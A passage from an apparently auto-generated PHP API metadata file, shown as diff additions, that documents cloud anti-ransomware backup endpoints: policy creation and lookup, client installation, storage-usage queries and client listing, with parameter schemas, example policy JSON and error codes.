'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', + ], + 'BackupPolicyDetail' => [ + 'description' => '策略的详细信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '防勒索防护策略的状态。'."\n" + ."\n" + .'- **enabled**：策略已手动启用。'."\n" + ."\n" + .'- **disabled**：策略已手动停用。策略停用后，正在运行的备份任务将停止。'."\n" + ."\n" + .'- **closed**：防勒索容量超出，系统停用策略。', + 'type' => 'string', + 'example' => 'closed', + ], + 'PolicyVersion' => [ + 'description' => '防护策略的版本。'."\n" + ."\n" + .'- **1.0.0**'."\n" + .'- **2.0.0**', + 'type' => 'string', + 'example' => '2.0.0', + ], + 'Policy' => [ + 'description' => '防勒索防护策略的内容。该参数为JSON格式，字段说明如下：'."\n" + ."\n" + .'- **IsDefault**：防护策略的类型。取值：'."\n" + .' - **1**：推荐策略'."\n" + .' - **0**：自定义策略'."\n" + .'- **Include**：要防护的文件类型。防护全部文件类型时，该参数设置为[]。'."\n" + .'- **Source**：要防护的服务器目录。需要防护全部目录时，该参数设置为[]。'."\n" + .'- **ExcludeSystemPath**：设置是否排除指定目录。要排除该参数设置为**true**，不排除则无需设置该参数。'."\n" + .'- **Exclude**：设置指定的防护目录地址。不设置指定防护目录地址时，该参数设置为[]。'."\n" + .'- **Schedule**：设置数据备份任务的执行时间和执行间隔。建议指定在业务低峰期非整点。设置示例如下：'."\n" + .' - 例1：I|1583216092|P21D表示数据备份开始时间为2020-03-03 14:14:52，备份策略执行间隔为3周。'."\n" + .' - 例2：I|1583216092|PT24H表示数据备份开始时间为2020-03-03 14:14:52，备份策略执行间隔为24小时。'."\n" + .'- **Retention**：设置备份数据保留时间，单位为天。7表示1周，365表示1年，-1表示永久。'."\n" + .'- **SpeedLimiter**：设置备份网络带宽限制。例如：0:24:30720表示0~24时备份网络带宽限制为30 MByte/s。'."\n" + .'- **UseVss**：是否启用VSS（Windows）功能。取值：'."\n" + .' - **true**：启用'."\n" + .' - **false**：不启用'."\n" + ."\n" + .'> VSS（Windows）功能仅为Windows系统开启，开启后会有效降低因进程占用导致的个别文件备份失败的问题，建议开启。启用该功能后，将不支持exFAT和FAT32磁盘格式的文件备份。', + 'type' => 'string', + 'example' => '{'."\n" + .' "Exclude": ['."\n" + .' "/bin/",'."\n" + .' "/usr/bin/",'."\n" + .' "/sbin/",'."\n" + .' "/boot/",'."\n" + .' "/proc/",'."\n" + .' "/sys/",'."\n" + .' "/srv/",'."\n" + .' "/lib/",'."\n" + .' "/selinux/",'."\n" + .' "/usr/sbin/",'."\n" + .' "/run/",'."\n" + .' "/lib32/",'."\n" + .' "/lib64/",'."\n" + .' "/lost+found/",'."\n" + .' "/var/lib/kubelet/",'."\n" + .' "/var/lib/ntp/proc",'."\n" + .' "/var/lib/container",'."\n" + .' "Windows\\\\",'."\n" + .' "Python27\\\\",'."\n" + .' "Program Files (x86)\\\\",'."\n" + .' "Program Files\\\\",'."\n" + .' "Boot\\\\",'."\n" + .' "$RECYCLE.BIN",'."\n" + .' "System Volume Information\\\\",'."\n" + .' "Users\\\\Administrator\\\\NTUSER.DAT*",'."\n" + .' "ProgramData\\\\",'."\n" + .' "pagefile.sys",'."\n" + .' "Users\\\\Default\\\\NTUSER.DAT*",'."\n" + .' "Users\\\\Administrator\\\\ntuser.*"'."\n" + .' ],'."\n" + .' "ExcludeSystemPath": true,'."\n" + .' "Include": [],'."\n" + .' "IsDefault": 1,'."\n" + .' "Retention": 7,'."\n" + .' "Schedule": "I|1630689360|PT24H",'."\n" + .' "Source": [],'."\n" + .' "SpeedLimiter": "",'."\n" + .' "UseVss": true'."\n" + .'}', + ], + 'ClientStatus' => [ + 'description' => '防勒索客户端的状态。取值：'."\n" + ."\n" + .'- **running**：状态正常'."\n" + ."\n" + .'- **exception**：状态异常', + 'type' => 'string', + 'example' => 'running', + ], + 'Name' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'example' => 'testBuckUp', + ], + 'Id' => [ + 'description' => '防勒索备份策略ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '51880', + ], + 'RegionId' => [ + 'description' => '备份服务地域ID。', + 'type' => 'string', + 'example' => 'cn-beijing', + ], + 'UuidList' => [ + 'description' => '已启用备份策略的服务器的UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '已启用备份策略的服务器的UUID。', + 'type' => 'string', + 'example' => 'inet-49611a6b-a98a-455d-a18a-92af9265****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"BackupPolicyDetail\\": {\\n \\"Status\\": \\"closed\\",\\n \\"PolicyVersion\\": \\"2.0.0\\",\\n \\"Policy\\": \\"{\\\\n \\\\\\"Exclude\\\\\\": [\\\\n \\\\\\"/bin/\\\\\\",\\\\n \\\\\\"/usr/bin/\\\\\\",\\\\n \\\\\\"/sbin/\\\\\\",\\\\n \\\\\\"/boot/\\\\\\",\\\\n \\\\\\"/proc/\\\\\\",\\\\n \\\\\\"/sys/\\\\\\",\\\\n \\\\\\"/srv/\\\\\\",\\\\n \\\\\\"/lib/\\\\\\",\\\\n \\\\\\"/selinux/\\\\\\",\\\\n \\\\\\"/usr/sbin/\\\\\\",\\\\n \\\\\\"/run/\\\\\\",\\\\n \\\\\\"/lib32/\\\\\\",\\\\n \\\\\\"/lib64/\\\\\\",\\\\n \\\\\\"/lost+found/\\\\\\",\\\\n \\\\\\"/var/lib/kubelet/\\\\\\",\\\\n \\\\\\"/var/lib/ntp/proc\\\\\\",\\\\n \\\\\\"/var/lib/container\\\\\\",\\\\n \\\\\\"Windows\\\\\\\\\\\\\\\\\\\\\\",\\\\n \\\\\\"Python27\\\\\\\\\\\\\\\\\\\\\\",\\\\n \\\\\\"Program Files (x86)\\\\\\\\\\\\\\\\\\\\\\",\\\\n \\\\\\"Program Files\\\\\\\\\\\\\\\\\\\\\\",\\\\n \\\\\\"Boot\\\\\\\\\\\\\\\\\\\\\\",\\\\n \\\\\\"$RECYCLE.BIN\\\\\\",\\\\n \\\\\\"System Volume Information\\\\\\\\\\\\\\\\\\\\\\",\\\\n \\\\\\"Users\\\\\\\\\\\\\\\\Administrator\\\\\\\\\\\\\\\\NTUSER.DAT*\\\\\\",\\\\n \\\\\\"ProgramData\\\\\\\\\\\\\\\\\\\\\\",\\\\n \\\\\\"pagefile.sys\\\\\\",\\\\n \\\\\\"Users\\\\\\\\\\\\\\\\Default\\\\\\\\\\\\\\\\NTUSER.DAT*\\\\\\",\\\\n \\\\\\"Users\\\\\\\\\\\\\\\\Administrator\\\\\\\\\\\\\\\\ntuser.*\\\\\\"\\\\n ],\\\\n \\\\\\"ExcludeSystemPath\\\\\\": true,\\\\n \\\\\\"Include\\\\\\": [],\\\\n \\\\\\"IsDefault\\\\\\": 1,\\\\n \\\\\\"Retention\\\\\\": 7,\\\\n \\\\\\"Schedule\\\\\\": \\\\\\"I|1630689360|PT24H\\\\\\",\\\\n \\\\\\"Source\\\\\\": [],\\\\n \\\\\\"SpeedLimiter\\\\\\": \\\\\\"\\\\\\",\\\\n \\\\\\"UseVss\\\\\\": true\\\\n}\\",\\n \\"ClientStatus\\": \\"running\\",\\n \\"Name\\": \\"testBuckUp\\",\\n \\"Id\\": 51880,\\n \\"RegionId\\": \\"cn-beijing\\",\\n \\"UuidList\\": [\\n \\"inet-49611a6b-a98a-455d-a18a-92af9265****\\"\\n ]\\n }\\n}","type":"json"}]', + 'title' => '查询服务器防勒索防护策略详情', + ], + 'CreateBackupPolicy' => [ + 'summary' => '创建服务器勒索病毒防护策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '91920', + 'abilityTreeNodes' => [ + 'FEATUREsas8YMQ5V', + ], + ], + 'parameters' => [ + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '设置要创建的防护策略的名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'ServerBackUpPolicy01', + ], + ], + [ + 'name' => 'Policy', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '- **IsDefault**：要新建的防护策略的类型。取值：'."\n" + .' - **1**：推荐策略'."\n" + .' - **0**：自定义策略'."\n" + .'- **Include**：要防护的文件类型。防护全部文件类型时，该参数设置为[]。'."\n" + .'- **Source**：要防护的服务器目录。需要防护全部目录时，该参数设置为[]。'."\n" + .'- **ExcludeSystemPath**：设置是否排除指定目录。要排除该参数设置为**true**，不排除则无需设置该参数。'."\n" + .'- **Exclude**：设置指定的防护目录地址。不设置指定防护目录地址时，该参数设置为[]。'."\n" + .'- **Schedule**：设置数据备份任务的执行时间和执行间隔。建议指定在业务低峰期非整点。设置示例如下：'."\n" + .' - 例1：I|1583216092|P21D表示数据备份开始时间为2020-03-03 14:14:52，备份策略执行间隔为3周。'."\n" + .' - 例2：I|1583216092|PT24H表示数据备份开始时间为2020-03-03 14:14:52，备份策略执行间隔为24小时。'."\n" + .'- **Retention**：设置备份数据保留时间，单位为天。7表示1周，365表示1年，-1表示永久。'."\n" + .'- **SpeedLimiter**：设置备份网络带宽限制。例如：0:24:30720表示0~24时备份网络带宽限制为30 MByte/s。'."\n" + .'- **UseVss**：是否启用VSS（Windows）功能。取值：'."\n" + .' - **true**：启用'."\n" + .' - **false**：不启用'."\n" + ."\n" + .'> VSS（Windows）功能仅为Windows系统开启，开启后会有效降低因进程占用导致的个别文件备份失败的问题，建议开启。启用该功能后，将不支持exFAT和FAT32磁盘格式的文件备份。'."\n", + 'type' => 'object', + 'required' => true, + 'example' => '"{"IsDefault":1,"Include":[],"Source":[],"Schedule":"I|1648061040|PT24H","Retention":7,"SpeedLimiter":"","ExcludeSystemPath":true,"Exclude":["/bin/","/usr/bin/","/sbin/","/boot/","/proc/","/sys/","/srv/","/lib/","/selinux/","/usr/sbin/","/run/","/lib32/","/lib64/","/lost+found/","/var/lib/kubelet/","/var/lib/ntp/proc","/var/lib/container","Windows","Python27","Program Files (x86)","Program Files","Boot","$RECYCLE.BIN","System Volume Information","Users\\Administrator\\NTUSER.DAT*","ProgramData","pagefile.sys","Users\\Default\\NTUSER.DAT*","Users\\Administrator\\ntuser.*"],"UseVss":true}"', + ], + ], + [ + 'name' => 'PolicyVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '防护策略的版本。固定取值**2.0.0**。'."\n", + 'type' => 'string', + 'required' => true, + 'example' => '2.0.0', + ], + ], + [ + 'name' => 'PolicyRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '非阿里云服务器所在的地域ID。'."\n" + ."\n" + .'> 您可以调用[DescribeSupportRegion](~~DescribeSupportRegion~~)接口查看防勒索支持的地域，然后根据您的非阿里云服务器所在的地域就近选择防勒索支持的地域。', + 'type' => 'string', + 'required' => false, + 'example' => 'ch-hangzhou', + ], + ], + [ + 'name' => 'UuidList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '指定需要防护的服务器UUID集合。', + 'type' => 'array', + 'items' => [ + 'description' => '要防护的服务器的UUID列表。多个UUID之间使用半角逗号（,）隔开。'."\n" + .'> 您可调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '3bb30859-b3b5-4f28-868f-b0892c98****', + ], + 'required' => true, + 'example' => '["3bb30859-b3b5-4f28-868f-b0892c98****", "3bb30859-b3b5-4f28-868f-b0892c98****"]', + 'maxItems' => 1000, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '创建勒索病毒防护策略返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', + ], + 'BackupPolicy' => [ + 'description' => '防护策略信息。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '防勒索防护策略编号。', + 'type' => 'string', + 'example' => '1301575', + ], + 'Status' => [ + 'description' => '策略状态。取值：'."\n" + .'- **enabled**：开启防护。'."\n" + .'- **disabled**：关闭防护。 '."\n" + ."\n" + .'> 创建后默认是开启防护。', + 'type' => 'string', + 'example' => 'enabled', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'AgentNotOnline', + 'errorMessage' => 'The agent not online.', + ], + [ + 'errorCode' => 'AntiRansomwareCapacityUseUp', + 'errorMessage' => 'anti ransomware capacity use up', + ], + [ + 'errorCode' => 'DataExists', + 'errorMessage' => 'data exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"BackupPolicy\\": {\\n \\"Id\\": \\"1301575\\",\\n \\"Status\\": \\"enabled\\"\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 24A20733-10A0-4AF6-BE6B-E3322413BB68\\n","errorExample":""}]', + 'title' => '创建勒索病毒防护策略', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'InstallBackupClient' => [ + 'summary' => '安装防勒索客户端。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '92320', + 'abilityTreeNodes' => [ + 'FEATUREsas7JO011', + ], + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要安装防勒索客户端的服务器的UUID。'."\n" + ."\n" + .'> > 您可调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该数据。UuidList和Uuid不能同时为空。', + 'type' => 'string', + 'required' => false, + 'example' => 'inet-617eddab-7df4-4a51-b217-a3f59194****', + ], + ], + [ + 'name' => 'PolicyVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '防护策略的版本。取值：'."\n" + ."\n" + .'- **1.0.0**：表示防护策略的版本为1.0.0版本'."\n" + .'- **2.0.0**：表示防护策略的版本为2.0.0版本', + 'type' => 'string', + 'required' => true, + 'example' => '2.0.0', + ], + ], + [ + 'name' => 'UuidList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要防护的服务器UUID列表。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'array', + 'items' => [ + 'description' => '要安装勒索客户端的服务器UUID。'."\n" + .'> UuidList和Uuid不能同时为空。', + 'type' => 'string', + 'required' => false, + 'example' => '3bb30859-b3b5-4f28-868f-b0892c98****', + ], + 'required' => false, + 'example' => '["3bb30859-b3b5-4f28-868f-b0892c98****", "3bb30859-b3b5-4f28-868f-b0892c98****"]', + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA04B21', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'HbrClientUpgrading', + 'errorMessage' => 'Client upgrading.', + ], + [ + 'errorCode' => 'HbrClientHealth', + 'errorMessage' => 'client is health. not need reinstall', + ], + [ + 'errorCode' => 'HbrClientInstalling', + 'errorMessage' => 'During client installation, you can refresh the page to view the installation results.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"D0D6E6E4-CB8C-4897-B852-46AEFDA04B21\\"\\n}","errorExample":""},{"type":"xml","example":"\\n D0D6E6E4-CB8C-4897-B852-46AEFDA04B21\\n","errorExample":""}]', + 'title' => '安装防勒索客户端', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'GetBackupStorageCount' => [ + 'summary' => '查询已使用的防勒索存储容量。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '33C2CCFF-4BF8-5F88-9B5C-22F932F80E5A', + ], + 'BackupStorageCount' => [ + 'description' => '防勒索存储容量的详情。', + 'type' => 'object', + 'properties' => [ + 'Overflow' => [ + 'description' => '防勒索使用量是否超过已购买的容量。取值：'."\n" + ."\n" + .'- **0**：未超过'."\n" + .'- **1**：已超过', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'UniUsageStorageByte' => [ + 'description' => '备份数据中，数据库备份已占用的存储容量。单位为Byte。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '7453049350', + ], + 'BuyStorageByte' => [ + 'description' => '已购买的防勒索容量。单位为Byte。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2276332666880', + ], + 'UsageStorageByte' => [ + 'description' => '已使用的防勒索存储总容量。单位为Byte。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '839621565853', + ], + 'EcsUsageStorageByte' => [ + 'description' => '备份数据中，服务器备份已占用的存储容量。单位为Byte。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '817262417803', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"33C2CCFF-4BF8-5F88-9B5C-22F932F80E5A\\",\\n \\"BackupStorageCount\\": {\\n \\"Overflow\\": 0,\\n \\"UniUsageStorageByte\\": 7453049350,\\n \\"BuyStorageByte\\": 2276332666880,\\n \\"UsageStorageByte\\": 839621565853,\\n \\"EcsUsageStorageByte\\": 817262417803\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 33C2CCFF-4BF8-5F88-9B5C-22F932F80E5A\\n \\n 0\\n 7453049350\\n 2276332666880\\n 839621565853\\n 817262417803\\n \\n","errorExample":""}]', + 'title' => '查询已使用的防勒索存储容量', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeBackupClients' => [ + 'summary' => '查询指定地域下已安装防勒索客户端的服务器。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SupportRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的防勒索支持的地域。您可以调用[DescribeSupportRegion](~~DescribeSupportRegion~~)查询防勒索支持的地域。', + 'type' => 'string', + 'required' => true, + 'example' => 'cn-hangzhou', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '已安装防勒索客户端的服务器返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'E3ED094C-9EB7-4239-962B-D0FB3D5F23C7', + ], + 'Clients' => [ + 'description' => '防勒索客户端信息。', + 'type' => 'array', + 'items' => [ + 'description' => '安装防勒索客户端的服务器信息。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '已安装防勒索客户端的ECS服务器的UUID。', + 'type' => 'string', + 'example' => '22f6550d-f294-449b-b6e6-90638fd1****', + ], + 'InstanceId' => [ + 'description' => '已安装防勒索客户端的ECS服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-bp15hyph4aci99dv****', + ], + 'ClientStatus' => [ + 'description' => '防勒索客户端的状态。'."\n" + ."\n" + .'取值：'."\n" + ."\n" + .'- **INSTALLING**：客户端安装中'."\n" + ."\n" + .'- **ONLINE**：正常在线'."\n" + ."\n" + .'- **UNINSTALLING**：客户端卸载中'."\n" + ."\n" + .'- **NOT_INSTALLED**：客户端未安装'."\n" + ."\n" + .'- **ACTIVATED**：客户端已启用'."\n" + ."\n" + .'- **CLIENT_CONNECTION_ERROR**：客户端连接错误', + 'type' => 'string', + 'example' => 'ONLINE', + ], + 'ClientId' => [ + 'description' => '防勒索客户端ID。', + 'type' => 'string', + 'example' => 'c-000az2f537r73dyh****', + ], + 'ClientVersion' => [ + 'description' => '防勒索客户端版本号。', + 'type' => 'string', + 'example' => '2.0.0', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"E3ED094C-9EB7-4239-962B-D0FB3D5F23C7\\",\\n \\"Clients\\": [\\n {\\n \\"Uuid\\": \\"22f6550d-f294-449b-b6e6-90638fd1****\\",\\n \\"InstanceId\\": \\"i-bp15hyph4aci99dv****\\",\\n \\"ClientStatus\\": \\"ONLINE\\",\\n \\"ClientId\\": \\"c-000az2f537r73dyh****\\",\\n \\"ClientVersion\\": \\"2.0.0\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n E3ED094C-9EB7-4239-962B-D0FB3D5F23C7\\n \\n 22f6550d-f294-449b-b6e6-90638fd1****\\n i-bp15hyph4aci99dv****\\n ONLINE\\n c-000az2f537r73dyh****\\n \\n","errorExample":""}]', + 'title' => '查询指定地域下已安装防勒索客户端的服务器', + 'description' => '该接口用于查询指定地域下已安装防勒索客户端的服务器。', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeBackupPolicies' => [ + 'summary' => '查询防勒索防护策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92004', + 'abilityTreeNodes' => [ + 'FEATUREsas7JO011', + ], + ], + 'parameters' => [ + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的防勒索防护策略的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'SecurityStrategy-20200303', + ], + ], + [ + 'name' => 'MachineRemark', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的防勒索策略防护的服务器的识别信息。可输入服务器的IP地址或实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => '1.1.XX.XX', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => "\n" + ."\n" + .'防勒索防护策略的状态。'."\n" + ."\n" + .'- **enabled**：策略已手动启用。'."\n" + ."\n" + .'- **disabled**：策略已手动停用。策略停用后，正在运行的备份任务将停止。'."\n" + ."\n" + .'- **closed**：防勒索容量超出，系统停用策略。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'enabled', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页包含的备份策略的数量。默认值为10，表示每页包含10个防护策略。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '10', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示。默认值为1，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '返回数据当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页包含的备份策略的数量。默认值为10，表示每页包含10个备份策略。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '返回数据中备份策略的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + ], + ], + 'Policies' => [ + 'description' => '防护策略的详情。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'ClientErrorCount' => [ + 'description' => '防勒索客户端的报错数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Status' => [ + 'description' => '防勒索防护策略的状态。'."\n" + ."\n" + .'- **enabled**：策略已手动启用。'."\n" + ."\n" + .'- **disabled**：策略已手动停用。策略停用后，正在运行的备份任务将停止。'."\n" + ."\n" + .'- **closed**：防勒索容量超出，系统停用策略。'."\n", + 'type' => 'string', + 'example' => 'enabled', + ], + 'PolicyVersion' => [ + 'description' => '防护策略的版本。取值：'."\n" + ."\n" + .'- 1.0.0。'."\n" + .'- 2.0.0。', + 'type' => 'string', + 'example' => '2.0.0', + ], + 'Policy' => [ + 'description' => '防勒索防护策略的内容。该参数为JSON格式，字段说明如下：'."\n" + ."\n" + .'- **IsDefault**：防护策略的类型。取值：'."\n" + .' - **1**：推荐策略'."\n" + .' - **0**：自定义策略'."\n" + .'- **Include**：要防护的文件类型。防护全部文件类型时，该参数设置为[]。'."\n" + .'- **Source**：要防护的服务器目录。需要防护全部目录时，该参数设置为[]。'."\n" + .'- **ExcludeSystemPath**：设置是否排除指定目录。要排除该参数设置为**true**，不排除则无需设置该参数。'."\n" + .'- **Exclude**：设置指定的防护目录地址。不设置指定防护目录地址时，该参数设置为[]。'."\n" + .'- **Schedule**：设置数据备份任务的执行时间和执行间隔。建议指定在业务低峰期非整点。设置示例如下：'."\n" + .' - 例1：I|1583216092|P21D表示数据备份开始时间为2020-03-03 14:14:52，备份策略执行间隔为3周。'."\n" + .' - 例2：I|1583216092|PT24H表示数据备份开始时间为2020-03-03 14:14:52，备份策略执行间隔为24小时。'."\n" + .'- **Retention**：设置备份数据保留时间，单位为天。7表示1周，365表示1年，-1表示永久。'."\n" + .'- **SpeedLimiter**：设置备份网络带宽限制。例如：0:24:30720表示0~24时备份网络带宽限制为30 MByte/s。'."\n" + .'- **UseVss**：是否启用VSS（Windows）功能。取值：'."\n" + .' - **true**：启用'."\n" + .' - **false**：不启用'."\n" + ."\n" + .'> VSS（Windows）功能仅为Windows系统开启，开启后会有效降低因进程占用导致的个别文件备份失败的问题，建议开启。启用该功能后，将不支持exFAT和FAT32磁盘格式的文件备份'."\n", + 'type' => 'string', + 'example' => '{"Exclude":["/bin/","/usr/bin/","/sbin/","/boot/","/proc/","/sys/","/srv/","/lib/","/selinux/","/usr/sbin/","/run/","/lib32/","/lib64/","/lost+found/","/var/lib/kubelet/","/var/lib/ntp/proc","/var/lib/container","Windows\\\\","Python27\\\\","Program Files (x86)\\\\","Program Files\\\\","Boot\\\\","$RECYCLE.BIN","System Volume Information\\\\","Users\\\\Administrator\\\\NTUSER.DAT*","ProgramData\\\\","pagefile.sys","Users\\\\Default\\\\NTUSER.DAT*","Users\\\\Administrator\\\\ntuser.*"],"ExcludeSystemPath":true,"Include":[],"IsDefault":1,"Retention":7,"Schedule":"I|1630689360|PT24H","Source":[],"SpeedLimiter":"","UseVss":true}', + ], + 'UpgradeStatus' => [ + 'description' => '策略的升级状态。取值：'."\n" + ."\n" + .'- **NotUpgraded**：未升级'."\n" + .'- **Upgrading**：升级中'."\n" + .'- **UpgradeFailed**：升级失败'."\n" + .'- **UpgradeSuccess**：升级成功', + 'type' => 'string', + 'example' => 'Upgrading', + ], + 'ServiceErrorCount' => [ + 'description' => '数据备份异常的服务器的数量。', + 'type' => 'integer', + 'format' => 